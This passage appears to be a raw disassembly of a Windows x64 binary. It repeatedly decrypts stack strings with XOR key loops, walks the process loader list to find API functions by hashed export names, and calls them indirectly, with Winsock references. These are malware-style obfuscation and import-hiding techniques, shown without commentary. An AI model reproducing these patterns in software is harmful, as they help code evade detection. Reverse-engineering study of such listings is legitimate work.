imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140004250
movzx edx, byte [rbp + 0x42c0]
lea rcx, [rbp + 0x2e0]
call fcn.140022770
nop
lea rax, [rbp + 0x120]
nop
inc r12
cmp byte [rax + r12], 0
jne 0x1400042a0
mov r8, r12
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x2e0]
call fcn.140022790
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x2e0]
call fcn.140002150
nop
lea rcx, [rbp + 0x2e0]
call fcn.140001e90
movsd xmm0, qword [str.GYLI]
movsd qword [rsp + 0x58], xmm0
movzx ecx, word [0x14009eb48]
mov word [rsp + 0x60], cx
movzx eax, byte [0x14009eb4a]
mov byte [rsp + 0x58], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x59], 0x38
xor byte [rsp + 0x5a], 0x39
xor byte [rsp + 0x5b], 0x3a
xor byte [rsp + 0x5c], 0x3b
xor byte [rsp + 0x5d], 0x3c
xor byte [rsp + 0x5e], 0x3d
xor byte [rsp + 0x5f], 0x3e
xor cl, 0x3f
mov byte [rsp + 0x60], cl
xor byte [rsp + 0x61], 0x40
xor al, 0x41
mov byte [rsp + 0x62], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400043c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400043c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x26540a70
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400043c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400043a0
cmp r8d, 0xf5ca55b1
je 0x1400043cb
test r9d, r9d
jne 0x140004380
mov rax, qword [rax]
jmp 0x140004350
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x58]
call rdx
movups xmm0, xmmword [0x14009e8b0]
movups xmmword [rbp + 0x8d8], xmm0
movups xmm1, xmmword [str.0_.___]
movups xmmword [rbp + 0x8e8], xmm1
movsd xmm0, qword [0x14009e8d0]
movsd qword [rbp + 0x8f8], xmm0
mov eax, dword [0x14009e8d8]
mov dword [rbp + 0x900], eax
mov r8d, r13d
cmp r14d, 2
jl 0x14000456d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x8dc]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004460
cmp r8d, 0x2c
jge 0x1400045b3
movsxd rax, r8d
lea r9, [rbp + 0x8d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140004580
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb33911ea
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004641
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004620
cmp r8d, 0x74992ed3
je 0x14000464b
test r9d, r9d
jne 0x140004600
mov rax, qword [rax]
jmp 0x1400045d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x8d8]
call rdx
movups xmm0, xmmword [0x14009f620]
movups xmmword [rbp + 0x3e8], xmm0
movups xmm1, xmmword [0x14009f630]
movups xmmword [rbp + 0x3f8], xmm1
mov eax, dword [0x14009f640]
mov dword [rbp + 0x408], eax
mov r8d, r13d
cmp r14d, 2
jl 0x1400047dd
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x3ec]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400046d0
cmp r8d, 0x24
jge 0x140004823
movsxd rax, r8d
lea r9, [rbp + 0x3e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400047f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400048b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400048b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa83b3f30
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400048b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004890
cmp r8d, 0xc6e6c271
je 0x1400048bb
test r9d, r9d
jne 0x140004870
mov rax, qword [rax]
jmp 0x140004840
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x3e8]
call rdx
movups xmm0, xmmword [0x1400a08b0]
movups xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x1400a08c0]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x1400a08c8]
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x1400a08cc]
mov word [rbp + 0x1dc], ax
cmp byte [0x1400a08cd], 0
je 0x140004ab3
mov r8d, r13d
cmp r14d, 2
jl 0x140004a6d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x1c4]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004960
cmp r8d, 0x1e
jge 0x140004ab3
movsxd rax, r8d
lea r9, [rbp + 0x1c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140004a80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004b46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004b46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x70ad6fe6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004b41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004b20
cmp r8d, 0xb71360e7
je 0x140004b4b
test r9d, r9d
jne 0x140004b00
mov rax, qword [rax]
jmp 0x140004ad0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1c0]
call rdx
movups xmm0, xmmword [0x14009e448]
movups xmmword [rbp + 0x908], xmm0
movups xmm1, xmmword [0x14009e458]
movups xmmword [rbp + 0x918], xmm1
movsd xmm0, qword [0x14009e468]
movsd qword [rbp + 0x928], xmm0
mov eax, dword [0x14009e470]
mov dword [rbp + 0x930], eax
mov r8d, r13d
cmp r14d, 2
jl 0x140004ced
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x90c]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004be0
cmp r8d, 0x2c
jge 0x140004d33
movsxd rax, r8d
lea r9, [rbp + 0x908]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140004d00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x9d1b941a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004dc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004da0
cmp r8d, 0x4db972c3
je 0x140004dcb
test r9d, r9d
jne 0x140004d80
mov rax, qword [rax]
jmp 0x140004d50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x908]
call rdx
movups xmm0, xmmword [0x1400aa548]
movups xmmword [rbp + 0x370], xmm0
movups xmm1, xmmword [0x1400aa558]
movups xmmword [rbp + 0x380], xmm1
movzx eax, word [0x1400aa568]
mov word [rbp + 0x390], ax
movzx eax, byte [0x1400aa56a]
mov byte [rbp + 0x392], al
mov r8d, r13d
cmp r14d, 2
jl 0x140004f6d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x374]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004e60
cmp r8d, 0x23
jge 0x140004fb3
movsxd rax, r8d
lea r9, [rbp + 0x370]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140004f80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005046
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005046
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd11a0b02
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005041
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005020
cmp r8d, 0x2f2e846b
je 0x14000504b
test r9d, r9d
jne 0x140005000
mov rax, qword [rax]
jmp 0x140004fd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x370]
call rdx
movups xmm0, xmmword [0x1400a0ad0]
movups xmmword [rbp + 0x140], xmm0
movsd xmm0, qword [0x1400a0ae0]
movsd qword [rbp + 0x150], xmm0
movzx eax, word [0x1400a0ae8]
mov word [rbp + 0x158], ax
movzx eax, byte [0x1400a0aea]
mov byte [rbp + 0x15a], al
mov r8d, r13d
cmp r14d, 2
jl 0x1400051ed
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x144]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400050e0
cmp r8d, 0x1b
jge 0x140005233
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140005200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400052c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400052c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5d873356
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400052c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400052a0
cmp r8d, 0x11aca997
je 0x1400052cb
test r9d, r9d
jne 0x140005280
mov rax, qword [rax]
jmp 0x140005250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x140]
call rdx
movups xmm0, xmmword [0x1400aa988]
movups xmmword [rbp + 0xb8], xmm0
mov eax, dword [0x1400aa998]
mov dword [rbp + 0xc8], eax
movzx eax, byte [0x1400aa99c]
mov byte [rbp + 0xcc], al
mov r8d, r13d
cmp r14d, 2
jl 0x14000545d
movdqa xmm5, xmmword [0x1400aae20]
movdqa xmm4, xmmword [0x1400aaea0]
movdqa xmm6, xmmword [0x1400aae50]
movdqa xmm0, xmmword [0x1400aae80]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0xbc]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aae70]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005350
cmp r8d, 0x15
jge 0x1400054a3
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
